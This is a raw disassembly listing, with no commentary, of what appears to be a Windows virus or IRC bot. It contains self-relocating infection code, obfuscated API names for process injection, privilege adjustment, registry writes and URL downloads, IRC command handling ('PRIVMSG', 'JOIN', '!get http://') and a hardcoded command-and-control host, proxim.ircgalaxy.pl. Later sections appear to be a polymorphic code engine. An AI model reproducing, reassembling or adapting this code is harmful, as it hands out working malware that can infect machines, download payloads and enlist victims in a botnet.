loc_442601:				; CODE XREF: sub_44224B+1Fj
					; sub_44224B+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_4421BD
; END OF FUNCTION CHUNK	FOR sub_44224B
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_44260D	proc near		; CODE XREF: .rsrc:loc_442450p
					; sub_44262C+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_44260D	endp

; ---------------------------------------------------------------------------
aVx_4_2		db 'Vx_4',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_44262C	proc near		; CODE XREF: sub_44224B+9p
					; .rsrc:loc_443027p
		xor	ecx, ecx
		call	sub_44260D
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_44262C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		db 3 dup(58h)
		dd 332800h, 0E7300h, 3 dup(0)
		dd 29C000h, 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_442669	proc near		; CODE XREF: sub_44224B+7Cp
					; .rsrc:004423DFp ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_442674:				; CODE XREF: sub_442669+Ej
		lodsb
		test	al, al
		jnz	short loc_442674
		loop	sub_442669
		retn
sub_442669	endp

; ---------------------------------------------------------------------------
		dd 1985958Dh, 0FF520010h, 103EC695h, 88858900h,	0E8001042h
		dd 16h,	6B6F6F4Ch, 72507075h, 6C697669h, 56656765h, 65756C61h
		dd 0FF500041h, 103E6E95h, 8C858900h, 0C3001042h, 7361425Ch
		dd 6D614E65h, 624F6465h, 7463656Ah, 74565C73h, 74636553h
		dd 74736C00h, 6E656C72h, 65724300h, 46657461h, 41656C69h
		dd 65724300h, 46657461h, 4D656C69h, 69707061h, 41676Eh
		dd 61657243h, 72506574h, 7365636Fh, 43004173h, 74616572h
		dd 6D655265h, 5465746Fh, 61657268h, 72430064h, 65746165h
		dd 65726854h, 43006461h, 74616572h, 6F6F5465h, 6C65686Ch
		dd 53323370h, 7370616Eh, 746F68h, 74697845h, 65726854h
		dd 46006461h, 54656C69h, 54656D69h, 7379536Fh, 546D6574h
		dd 656D69h, 65657246h, 7262694Ch, 797261h, 46746547h, 41656C69h
		dd 69727474h, 65747562h, 47004173h, 69467465h, 6953656Ch
		dd 4700657Ah, 69467465h, 6954656Ch, 4700656Dh, 6F4D7465h
		dd 656C7564h, 646E6148h, 41656Ch, 54746547h, 46706D65h
		dd 4E656C69h, 41656D61h, 74654700h, 706D6554h, 68746150h
		dd 65470041h, 72655674h, 6E6F6973h, 74654700h, 73726556h
		dd 456E6F69h, 47004178h, 6F567465h, 656D756Ch, 6F666E49h
		dd 74616D72h, 416E6F69h, 616F4C00h, 62694C64h, 79726172h
		dd 614D0041h, 65695670h, 46664F77h, 656C69h, 6E65704Fh
		dd 656C6946h, 7070614Dh, 41676E69h, 65704F00h, 6F72506Eh
		dd 73736563h, 6F725000h, 73736563h, 69463233h, 747372h
		dd 636F7250h, 33737365h, 78654E32h, 65530074h, 6C694674h
		dd 74744165h, 75626972h, 41736574h, 74655300h, 656C6946h
		dd 656D6954h, 656C5300h, 53007065h, 65747379h, 6D69546Dh
		dd 466F5465h, 54656C69h, 656D69h, 616D6E55h, 65695670h
		dd 46664F77h, 656C69h, 74726956h, 416C6175h, 636F6C6Ch
		dd 69725700h, 69466574h, 4E00656Ch, 6A644174h, 50747375h
		dd 69766972h, 6567656Ch, 6B6F5473h, 4E006E65h, 65724374h
		dd 46657461h, 656C69h, 7243744Eh, 65746165h, 636F7250h
		dd 737365h, 7243744Eh, 65746165h, 636F7250h, 45737365h
		dd 744E0078h, 61657243h, 65536574h, 6F697463h, 744E006Eh
		dd 61657243h, 73556574h, 72507265h, 7365636Fh, 744E0073h
		dd 5670614Dh, 4F776569h, 63655366h, 6E6F6974h, 4F744E00h
		dd 466E6570h, 656C69h, 704F744Eh, 72506E65h, 7365636Fh
		dd 6B6F5473h, 4E006E65h, 65704F74h, 6365536Eh, 6E6F6974h
		dd 50744E00h, 65746F72h, 69567463h, 61757472h, 6D654D6Ch
		dd 79726Fh, 7551744Eh, 49797265h, 726F666Eh, 6974616Dh
		dd 6F546E6Fh, 6E656Bh, 7257744Eh, 56657469h, 75747269h
		dd 654D6C61h, 79726F6Dh, 6C745200h, 63696E55h, 5365646Fh
		dd 6E697274h, 416F5467h, 5369736Eh, 6E697274h, 53570067h
		dd 61745341h, 70757472h, 6F6C6300h, 6F736573h, 74656B63h
		dd 6E6F6300h, 7463656Eh, 74656700h, 74736F68h, 616E7962h
		dd 7200656Dh, 766365h, 646E6573h, 636F7300h, 74656Bh, 65746E49h
		dd 74656E72h, 736F6C43h, 6E614865h, 656C64h, 65746E49h
		dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h
		dd 6E490065h, 6E726574h, 704F7465h, 416E65h, 65746E49h
		dd 74656E72h, 6E65704Fh, 416C7255h, 746E4900h, 656E7265h
		dd 61655274h, 6C694664h, 44410065h, 49504156h, 442E3233h
		dd 52004C4Ch, 6C436765h, 4B65736Fh, 52007965h, 704F6765h
		dd 654B6E65h, 41784579h, 67655200h, 72657551h, 6C615679h
		dd 78456575h, 65520041h, 74655367h, 756C6156h, 41784565h
		dd 0F6335600h, 5656026Ah, 16AD48Bh, 1872FF52h, 8C95FF56h
		dd 8B001042h, 565656C4h, 70FF5650h, 0FA95FF18h,	8300103Eh
		dd 0C25E10C4h, 498D0008h, 51C82BFBh, 68h, 244C8DE8h, 6A006A03h
		dd 53505105h, 0CC8B056Ah, 50D48B50h, 51406A54h,	95FF5352h
		dd 103F22h, 0FF0CC483h,	103F2A95h, 8C48300h, 30958DC3h
		dd 3300103Eh, 52006AC9h, 32003068h, 51C48B00h, 50406A51h
		dd 83186A51h, 6A5408C0h, 95FF500Eh, 103F1Eh, 3320C483h
		dd 0FC085D2h, 0DAF7C299h, 0C3C22358h, 0E8FF3357h, 0FFFFFFC1h
		dd 0A5840Fh, 68500000h,	7328h, 6AD48Bh,	406ACC8Bh, 10000068h
		dd 52026A00h, 2868006Ah, 6A000073h, 50535100h, 3F1295FFh
		dd 595F0010h, 3E6295FFh, 0FF850010h, 8D8B7174h,	101590h
		dd 958D0CE3h, 101000h, 5357D103h, 858BD2FFh, 103EFEh, 29168F8Dh
		dd 2BE80000h, 8BFFFFFFh, 103F1685h, 638F8D00h, 0E8000029h
		dd 0FFFFFF1Ah, 3F02858Bh, 8F8D0010h, 296Ah, 0FFFF09E8h
		dd 6858BFFh, 8500103Fh,	8D2074C0h, 29778Fh, 0FEF4E800h
		dd 858BFFFFh, 103F0Eh, 0B74C085h, 29848F8Dh, 0DFE80000h
		dd 8BFFFFFEh, 55C35FC7h, 0E8h, 0ED815D00h, 101B24h, 858DC933h
		dd 101EAFh, 51515451h, 0FF515150h, 103E8E95h, 24048700h
		dd 3E6295FFh, 0C25D0010h, 0E8550004h, 0
		dd 53ED815Dh, 6A00101Bh, 1E958DFFh, 5000101Bh, 2420CD52h
		dd 83002A00h, 0C7660CC4h, 101B6485h, 0C720CD00h, 101B6685h
		dd 2A002400h, 6AC35D00h, 9E8581Ah, 8D000000h, 0FEAA6142h
		dd 0C3F075C9h, 3F7C9569h, 84050010h, 89420808h,	103F7C95h
		dd 0C3E2F700h, 0E855h, 815D0000h, 101BADEDh, 809D8B00h
		dd 8300103Fh, 8247Ch, 0B9840Fh,	0EC810000h, 208h, 1046854h
		dd 95FF0000h, 103EB6h, 848DFC8Bh, 10424h, 6A5000h, 4E8h
		dd 52525600h, 95FF5700h, 103EB2h, 978DC933h, 104h, 26A5151h
		dd 68016A51h, 40000000h, 7E95FF52h, 9600103Eh, 5B74F685h
		dd 4685450h, 57000001h,	2024B4FFh, 0FF000002h, 103F5E95h
		dd 0C0855900h, 14E31674h, 6AD48B50h, 57515200h,	0F695FF56h
		dd 5900103Eh, 0D075C085h, 6295FF56h, 8D00103Eh,	57524457h
		dd 8D58446Ah, 10497h, 0C033AB00h, 0F359106Ah, 505050ABh
		dd 50505050h, 8695FF52h, 8100103Eh, 208C4h, 2474FF00h
		dd 4E95FF08h, 5300103Fh, 3F4E95FFh, 0C25D0010h,	3E800004h
		dd 4601750Ah, 158C8D8Bh, 19E30010h, 1000958Dh, 0D1030010h
		dd 84D2FF56h, 1F880FC0h, 0F000001h, 11084h, 3A3E8000h
		dd 80461075h, 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h
		dd 0CF8B4275h, 4F0146C6h, 6A51CE2Bh, 53565100h,	3F4695FFh
		dd 3B590010h, 0DF850FC1h, 8D000000h, 101EA385h,	68006A00h
		dd 0Ch,	95FF5350h, 103F46h, 0C3Dh, 0BF850F00h, 0E9000000h
		dd 0B1h, 52503E81h, 850F5649h, 0A5h, 0AC08C683h, 840F0D3Ch
		dd 99h,	0F375203Ch, 0F3A3CACh, 8C85h, 200DAD00h, 3D202020h
		dd 74656721h, 3CAC7F75h, 817C7520h, 6820FF7Eh, 71757474h
		dd 70037E81h, 752F2F3Ah, 0FF47C668h, 0BA310F00h, 2710h
		dd 0FF52E2F7h, 103EE695h, 50C03300h, 0E8505050h, 9, 6E776F44h
		dd 64616F6Ch, 5695FF00h, 8500103Fh, 333674C0h, 808589C9h
		dd 5100103Fh, 20068h, 56515180h, 5A95FF50h, 8D00103Fh
		dd 101BA795h, 0C9335000h, 52505154h, 95FF5151h,	103E8Eh
		dd 0FF240487h, 103E6295h, 80C3F800h, 10157F8Dh,	0C3F90100h
		dd 16A016Ah, 73FF33FFh,	8515FF04h, 335A74C0h, 0B3D08BDBh
		dd 3C50030Bh, 1DCBB58Dh, 0BA8B0010h, 10Ch, 1088A8Bh, 0F8030000h
		dd 8B60CB2Bh, 61A6F3CBh, 0E2470574h, 832EEBF5h,	8B530FC7h
		dd 0D48B57CCh, 406A5450h, 0FF6A5251h, 3F2295FFh, 8D8B0010h
		dd 103E96h, 2B0CC483h, 7E983CFh, 6A07C7h, 4F8900E8h, 4F53C303h
		dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
		dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
		dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh
		dd 50000002h, 0
aProxim_ircgala	db 'proxim.ircgalaxy.pl',0
; ---------------------------------------------------------------------------
		dec	esi
		dec	ecx
		inc	ebx
		dec	ebx
		and	[esi+6Eh], ah
		db	64h
		push	64h
		ja	short near ptr loc_442FE1+1
		popa
		or	dl, [ebp+53h]
		inc	ebp
		push	edx
		and	[ebp+4Ah], ah
		dec	edi
		dec	ecx
		dec	esi
		and	[esi], ah
		jbe	short loc_442FE1
		jb	short loc_442FEE
		jnz	short near ptr loc_442F83+3
		push	ebp
		call	$+5
		pop	ebp


loc_442F83:				; CODE XREF: .rsrc:00442F7Aj
		sub	ebp, 101EB5h
		mov	byte ptr [ebp+10157Fh],	0
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	short loc_442FD7
		push	1Eh
		mov	esi, [ebp+103E72h]
		pop	ecx


loc_442FA4:				; CODE XREF: .rsrc:loc_442FD3j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_442FD3
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_442FD3
		lea	edi, [ebp+103F76h]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+1038ECh]
		pop	dword ptr [ebp+103912h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_442FD3:				; CODE XREF: .rsrc:00442FA7j
					; .rsrc:00442FAEj
		loop	loc_442FA4
		jmp	short loc_443027
; ---------------------------------------------------------------------------


loc_442FD7:				; CODE XREF: .rsrc:00442F99j
		call	near ptr dword_44267C+481h
		cmp	dword ptr [esp+8], 4


loc_442FE1:				; CODE XREF: .rsrc:00442F76j
					; .rsrc:00442F66j
		jnz	short loc_443027
		call	near ptr loc_442FEF+1
		push	ebx
		inc	esi
		inc	ebx
		db	2Eh
		inc	esp
		dec	esp


loc_442FEE:				; CODE XREF: .rsrc:00442F78j
		dec	esp


loc_442FEF:				; CODE XREF: .rsrc:00442FE3p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	[ebx], cl
		sal	byte ptr [ebp+ecx-6Dh],	6Ah
		add	dl, [ebx-1]
		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		call	eax
		xchg	eax, ebx
		call	near ptr dword_442C20+283h
		call	near ptr loc_44301B+1
		push	ebx
		inc	esi
		inc	ebx
		pop	edi
		dec	edi
		push	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_44301B:				; CODE XREF: .rsrc:0044300Cp
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch


loc_443023:				; CODE XREF: .rsrc:loc_443023j
		jl	short loc_443023
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_443027:				; CODE XREF: .rsrc:00442FD5j
					; .rsrc:loc_442FE1j
		call	sub_44262C
		dec	dword ptr [ebp+1012D4h]
		xor	ecx, ecx
		lea	eax, [ebp+104324h]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		push	ecx
		call	dword ptr [ebp+103EC2h]
		call	near ptr loc_443057+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_443057:				; CODE XREF: .rsrc:00443048p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 77h
aSprintfa	db 'sprintfA',0
		db 50h,	0FFh, 95h
		dd 103E6Eh, 3E768589h, 310F0010h, 19858D8Dh, 85890010h
		dd 103F7Ch, 0C695FF51h,	9300103Eh, 468h, 92B58D00h, 59001019h
		dd 3F62BD8Dh, 0C2E80010h, 66FFFFF5h, 1E7585C7h,	50000010h
		dd 1E77A583h, 8D000010h, 101E3595h, 6A545000h, 52006A01h
		dd 268h, 6695FF80h, 8500103Fh, 22755AC0h, 1E688D8Dh, 6A520010h
		dd 75B58D06h, 5400101Eh, 51505056h, 6A95FF52h, 5800103Fh
		dd 3F6295FFh, 85C60010h, 104183h, 0CE800h, 53570000h, 334B434Fh
		dd 4C442E32h, 95FF004Ch, 103EC6h, 76893h, 0B58D0000h, 1018E9h
		dd 32BD8D59h, 0E800103Fh, 0FFFFF53Dh, 0CE8h, 4E495700h
		dd 54454E49h, 4C4C442Eh, 0C695FF00h, 8500103Eh,	35840FC0h
		dd 93000002h, 568h, 27B58D00h, 59001019h, 3F4EBD8Dh, 6E80010h
		dd 83FFFFF5h, 103F52BDh, 840F0000h, 210h, 190EC81h, 68540000h
		dd 101h, 3F3295FFh, 0C4810010h,	190h, 6AD48B50h, 95FF5200h
		dd 103F52h, 7559C085h, 1388680Dh, 95FF0000h, 103EE6h, 0BD83E2EBh
		dd 101E77h, 8D297500h, 101E7B85h, 95FF5000h, 103F3Eh, 840FC085h
		dd 189h, 8B0C408Bh, 8F30FF00h, 101E7785h, 8385C600h, 1001041h
		dd 16A006Ah, 95FF026Ah,	103F4Ah, 0FFFF883h, 16084h, 958D9300h
		dd 101E73h, 5352106Ah, 3F3A95FFh, 0C0850010h, 140850Fh
		dd 0BD8D0000h, 101E94h,	3CE808B1h, 68FFFFFAh, 94h, 89E62B5Eh
		dd 0FF542434h, 103EBE95h, 0A2BD8D00h, 0B100101Eh, 0FA1DE801h
		dd 958DFFFFh, 101E8Fh, 1468006Ah, 52000000h, 4695FF53h
		dd 8D00103Fh, 8D142444h, 10432495h, 0B60F5000h,	24448B0Ah
		dd 8E0C114h, 12014A02h,	4A12024Ah, 24440B03h, 0FE18008h
		dd 5108E0C1h, 1024440Bh, 8D5032FFh, 103F84BDh, 1CE800h
		dd 2E250000h, 2E207836h, 3A202E20h, 2E252525h, 78257838h
		dd 0A732520h, 4E494F4Ah, 0FF570020h, 103E7695h,	0ACC48100h
		dd 6A000000h, 53575000h, 3F4695FFh, 8D8B0010h, 101598h
		dd 1BE3006Ah, 510DC96Bh, 5E8h, 64252600h, 0FF57000Ah, 103E7695h
		dd 0CC48300h, 680BEB50h, 7, 1EA8BD8Dh, 53570010h, 3F4695FFh
		dd 0C0850010h, 0B58D547Eh, 103F84h, 1598A583h, 8D000010h
		dd 1041838Dh, 6ACE2B00h, 53565100h, 3F4295FFh, 0F8830010h
		dd 912F7E00h, 0B58DFE8Bh, 103F84h, 0AEF20DB0h, 0E8601075h
		dd 0FFFFFA2Ah, 0E3177261h, 1778D09h, 0CF8BEAEBh, 0BD8DCE2Bh
		dd 103F84h, 0F787A4F3h,	0FF53B9EBh, 103F3695h, 7FBD8000h
		dd 1001015h, 30682A74h,	0FF000075h, 103EE695h, 83BD8000h
		dd 1041h, 85C71174h, 101E77h, 0
		dd 418385C6h, 0E9000010h, 0FFFFFE08h, 158885C7h, 10h, 0C25D8000h
		dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h
		dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h
		dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h
		dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h
		dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h
		dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h
		dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h
		dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h
		dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h
		dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h
		dd 49202165h, 20732774h, 6574616Ch, 0A2A1A821h,	0A614294Ch
		dd 0A6141310h, 95D1CA10h, 68988F7Fh, 0B1FAE5C7h, 0D82DBD27h
		dd 38h,	18h dup(0)
		dd 0A5836000h, 1042F4h,	0F8A58300h, 1042h, 1443B70Fh, 0F18538Dh
		dd 3064BB7h, 24448BD0h,	0C422B24h, 423B1972h, 8B147308h
		dd 422B1442h, 0F495890Ch, 89001042h, 1042F885h,	8305EB00h
		dd 0D9E228C2h, 4C261h, 24678588h, 64E80010h, 68000000h
		dd 20h,	2394858Dh, 39590010h, 830C7418h, 0F7E204C0h, 42D085FFh
		dd 0F7C30010h, 678D03D9h, 0E3001024h, 0FC70FF10h, 0E883008Fh
		dd 89F6E204h, 1023949Dh, 3A8300h, 322B0574h, 8D107203h
		dd 5B58FC4Eh, 3A835Eh, 32FF0474h, 72FF03EBh, 0FF57E810h
		dd 0CE2BFFFFh, 42F88D2Bh, 3580010h, 8FC3344Bh, 1042D485h
		dd 0D085C700h, 1042h, 0E8000000h, 3Ch, 42D0858Bh, 0A9E80010h
		dd 0E8FFFFF6h, 18h, 42D0BD83h, 75000010h, 109D8908h, 0EB001024h
		dd 0D08DFF9Ch, 0C3001042h, 42D4858Fh, 95890010h, 1042D0h
		dd 3E8h, 0C3C93300h, 80938Bh, 0E8520000h, 0FFFFFEEDh, 42F89503h
		dd 0D6030010h, 0C7A83h,	107840Fh, 7A830000h, 840F0010h
		dd 0FDh, 500C428Bh, 0FFFEC8E8h,	0F88503FFh, 3001042h, 88A50C6h
		dd 7400F980h, 2EF98019h, 0EB400374h, 1488BF1h, 0DFDFE181h
		dd 0F981DFDFh, 4C4C44h,	2B59EC75h, 0FAF983C8h, 0B78F0Fh
		dd 81660000h, 3233FE78h, 0AB850Fh, 83560000h, 575003Ah
		dd 0EB104A8Bh, 30A8B02h, 72E851F1h, 3FFFFFEh, 1042F8B5h
		dd 0C085AD00h, 840FFB78h, 84h, 42F8B5FFh, 0E8500010h, 0FFFFFE55h
		dd 42F88503h, 858F0010h, 1042F8h, 53240403h, 3302C083h
		dd 8B60FDBh, 0C98012E3h, 24C15320h, 1C290424h, 240C2924h
		dd 0E9EB405Bh, 0D70FFB81h, 3E74DDBBh, 45A8FB81h, 3674DB6Eh
		dd 3B59FB81h, 2E74FFA1h, 22D6FB81h, 2674ACB5h, 0E993FB81h
		dd 1E74F358h, 0E97DFB81h, 1674F358h, 3F46FB81h,	0E74E125h
		dd 3F30FB81h, 674E125h,	42D495FFh, 0E95B0010h, 0FFFFFF71h
		dd 14C2835Eh, 0FFFEEFE9h, 6A00C3FFh, 49E85804h,	88FFFFF5h
		dd 10264195h, 31B86600h, 0C0E20218h, 0E20203E4h, 66AAB66h
		dd 0F52EE858h, 0C283FFFFh, 6AD18708h, 21E85805h, 80FFFFF5h
		dd 0B7303FAh, 850250B0h, 102641h, 6A27EBAAh, 80AA5868h
		dd 187503FAh, 1E811B0h,	0B8FFFFF5h, 1, 0D74D284h, 0CAFEE0D1h
		dd 5EBF6EBh, 0B8h, 0BFE2AB80h, 0CC958DC3h, 2B001039h, 0C3DAF7D7h
		dd 39C085F7h, 10h, 950F1000h, 0BE0C1C0h, 39BE85F6h, 75010010h
		dd 890D6606h, 0F613EB25h, 1039BE85h, 6750200h, 25310D66h
		dd 0D6604EBh, 0AB662501h, 0FFFFBCE8h, 34438BFFh, 42E89589h
		dd 0C3AB0010h, 39C085F7h, 10h, 950F1000h, 0AABC04C0h, 0FFFF9CE8h
		dd 0EC9589FFh, 0F6001042h, 1039BE85h, 4750100h,	2EB310Fh
		dd 0C3ABC02Bh, 39C085F7h, 10h, 27741000h, 39BA858Ah, 0E0C10010h
		dd 8B0D660Bh, 0B0AB6645h, 858AAAF8h, 1039BAh, 51BE0C1h
		dd 6896467h, 66C033ABh,	0B812EBABh, 58F64h, 0BA858AABh
		dd 4001039h, 18E0C158h,	85C6C3ABh, 10279Ch, 0B025EB09h
		dd 6620EBFCh, 6600EBB8h, 6A19EBABh, 9E85804h, 8DFFFFF4h
		dd 0E0C1D204h, 89056608h, 0EBAB66C0h, 0AA90B003h, 0E858156Ah
		dd 0FFFFF3F0h, 279C8580h, 80060010h, 2F7308FAh,	0C374D284h
		dd 0C374CAFEh, 0C774CAFEh, 0D974CAFEh, 0C74CAFEh, 2 dup(0F74CAFEh)
		dd 0CBEBF9B0h, 0B0AA87B0h, 0B0C4EBDBh, 0B0C0EBF5h, 0C3BCEBF8h
		dd 39C085F7h, 20000010h, 86B00000h, 4040275h, 8AFE4F8Dh
		dd 1039B8A5h, 80AB6600h, 77505FCh, 4F8000B0h, 0E8AA40FFh
		dd 0FFFFFF62h, 39C085F7h, 40000010h, 0B8660000h, 2753166h
		dd 0AB6629B4h, 850A18B0h, 1039BAh, 0AA03E0C0h, 0FFFF3DE8h
		dd 0F788B0FFh, 1039C085h, 800000h, 0B0027500h, 0B8A58A86h
		dd 66001039h, 5FC80ABh,	0B00775h, 40FF4F80h, 0BD8DC3AAh
		dd 1039CCh, 0FFFF0DE8h,	0C085F7FFh, 1039h, 74004000h, 0AA60B003h
		dd 39C085F7h, 10h, 7741000h
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		dw 0
		dd 0F0840F02h, 0B0000000h, 89ABAAE8h, 1042D8BDh, 0FECCE800h
		dd 0E8B0FFFFh, 0BD89ABAAh, 1042DCh, 0FFFEBDE8h,	0C085F7FFh
		dd 3001039h, 74000000h,	0C085F71Ah, 1039h, 74020000h, 0FE2EE80Ah
		dd 9BE8FFFFh, 0B0FFFFFEh, 8BABAAE9h
dword_4439A4	dd 1042D885h						; .rsrc:0042CA20o
		db 0, 8Bh, 0CFh
byte_4439AB	db 2Bh			; DATA XREF: sub_427577+3o
		dd 0E0BD89C8h, 89001042h, 67B8FC48h, 0AB36FF64h, 0AB66C033h
		dd 39C085F7h, 30010h, 13740000h, 39BE85F6h, 74800010h
		db 0Ah
byte_4439D5	db 0E8h, 0AAh, 0FDh	; DATA XREF: .aspack:0042705Cr
					; .rsrc:0042CA27r
		dd 5BE8FFFFh, 0B8FFFFFEh
		db 67h
dword_4439E1	dd 0AB268964h						; .rsrc:0042CA63w
dword_4439E5	dd 0AB66C033h						; .rsrc:0042CA77w
		db 0F7h, 85h, 0C0h
		db 39h
dword_4439ED	dd 30010h						; .aspack:00427571r
dword_4439F1	dd 5A740000h						; .aspack:00427569r
		db 0F6h, 85h, 0BEh
		dd 80001039h, 81E80A75h, 0E8FFFFFDh, 0FFFFFE32h, 0FFFD02E8h
		dd 0E820B0FFh, 0FFFFFB14h, 0B86639E3h, 0AB6615FFh, 958BAB91h
		dd 1039C0h, 0C2F7D2F7h,	3, 0DCE81475h, 0B0FFFFFCh, 0FAEEE81Fh
		dd 0B866FFFFh, 0AB6615FFh, 0CF8BAB91h, 42E0858Bh, 0C82B0010h
		dd 0F7FC4889h, 1039C085h, 300h,	0F7387400h, 1039C085h
		dd 0
		dd 0F72C740Ch, 1039C085h, 0
		dd 0E80A7502h
; ---------------------------------------------------------------------------

locret_443A74:				; DATA XREF: .aspack:loc_4274DBr
		retn	0FFFDh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFD4BE8h, 0C085F7FFh, 1039h, 74080000h, 0FDACE80Ah
		dd 61E8FFFFh, 0F7FFFFFDh, 1039C085h, 400h, 0E8177400h
		dd 0FFFFFD96h, 0FEC029B8h, 8B8ABC8h, 0AB0474C0h, 0EBF875B8h
		dd 7FE8AB67h, 0F7FFFFFDh, 1039C085h, 800h, 80727500h, 1039BEBDh
		dd 69740000h, 0FFFD65E8h, 1829B8FFh, 0A50AC929h, 1039BAh
		dd 0A03E4C0h, 1039BAA5h, 4BE8AB00h, 0B0FFFFFDh,	858AAAB1h
		dd 1039BEh, 0FD3CE8AAh,	0B60FFFFFh, 1039BA85h, 0C0048D00h
		dd 0E0C14004h, 668DB008h, 0AA01B0ABh, 0FD20E857h, 3C29FFFFh
		dd 0E2B86624h, 85F759FBh, 1039C0h, 10h,	49B00774h, 75B866AAh
		dd 66E102FAh, 0FCFCE8ABh, 0E8B0FFFFh, 0ABC033AAh, 42C4BD89h
		dd 85F70010h, 1039C0h, 20h, 0E8573B75h,	0FFFFFCDEh, 39C085F7h
		dd 10h,	18748000h, 42F0BD89h, 39E80010h
		db 0FDh, 0FFh
dword_443B72	dd 0FCC2E8FFh						; .rsrc:0042CA7Dr
		dw 0FFFFh
		dd 0E8AAC3B0h, 0FFFFFCBAh, 0B0CF8B5Ah, 0ACA2B58h, 1039B885h
		dd 0FC4A8900h, 0FCA4E8AAh, 0B866FFFFh, 85F7C081h, 1039C0h
		dd 40h,	0C4800374h, 0B8A50A28h,	66001039h, 0C8BD89ABh
		dd 0AB001042h, 39C085F7h, 10h, 9754000h, 850250B0h, 1039B8h
		dd 0C085F7AAh, 80001039h, 75000000h, 0AB8B00Bh,	1039B985h
		dd 3DEBAA00h, 1831B866h, 39C085F7h, 1000010h, 2740000h
		dd 0A50A29B0h, 1039B9h,	0A03E4C0h, 1039B9A5h, 66AB6600h
		dd 0F7F081B8h, 1039C085h, 20000h, 0B4027500h, 0B9A50AC8h
		dd 66001039h, 0E4BD89ABh, 0B8001042h, 29CCh, 0C085F7ABh
		dd 8001039h, 74000000h,	0FBFCE871h, 85F7FFFFh, 1039C0h
		dd 400h, 0B8B00B75h, 39BA850Ah,	0EBAA0010h, 0C085F74Dh
		dd 1039h, 75000008h, 83B86611h,	0BAA50AE0h, 66001039h
		dd 0AAC033ABh, 0B86615EBh, 0A50A1829h, 1039BAh,	0A03E4C0h
		dd 1039BAA5h, 0F7AB6600h, 1039C085h, 100000h, 81B86600h
		dd 800374C0h, 0A50A08C4h, 1039BAh, 0B60FAB66h, 1039BE85h
		dd 8BE8AB00h, 0F7FFFFFBh, 1039C085h, 0
		dd 0B00E7440h, 0B8850250h, 0AA001039h, 0FFFB71E8h, 0FE4F8DFFh
		dd 42CC8D89h, 85F70010h, 1039C0h, 80000000h, 0E8B01774h
		dd 0F0858BAAh, 2B001042h, 4E883C7h, 0F0BD89ABh,	0EB001042h
		dd 0FBB2E805h, 3BE8FFFFh, 0F7FFFFFBh, 1039C085h, 1000000h
		dd 0B00B7500h, 0B8850A40h, 0AA001039h, 0B8660FEBh, 0A50AC083h
		dd 1039B8h, 1B0AB66h, 0C085F7AAh, 1039h, 75000200h, 0C085F72Fh
		dd 1039h, 75000400h, 0AC0B01Ah,	1039BA85h, 0BFA58A00h
		dd 0C1001039h, 0B86610E0h, 0B0AB8166h, 0B008EB00h, 0BA850A40h
		dd 0AA001039h, 39C085F7h, 10h, 10750008h, 0E883B866h, 39B9A50Ah
		dd 0AB660010h, 8EB01B0h, 850A48B0h, 1039B9h, 0FAB0E8AAh
		dd 85F7FFFFh, 1039C0h, 100000h,	257575B1h, 0F883B866h
		dd 39B9A50Ah, 0AB660010h, 29AAC033h, 1042CCBDh,	0C085F700h
		dd 1039h, 75002000h, 0EB77B11Fh, 9B8661Bh, 0B9A50A18h
		dd 0C0001039h, 0A50A03E4h, 1039B9h, 0BD29AB66h,	1042CCh
		dd 0A58AC18Ah, 1042CCh,	58B0AB66h, 39B88502h, 0E8AA0010h
		dd 0FFFFFA4Ah, 39C085F7h, 30010h, 2C740200h, 39C085F7h
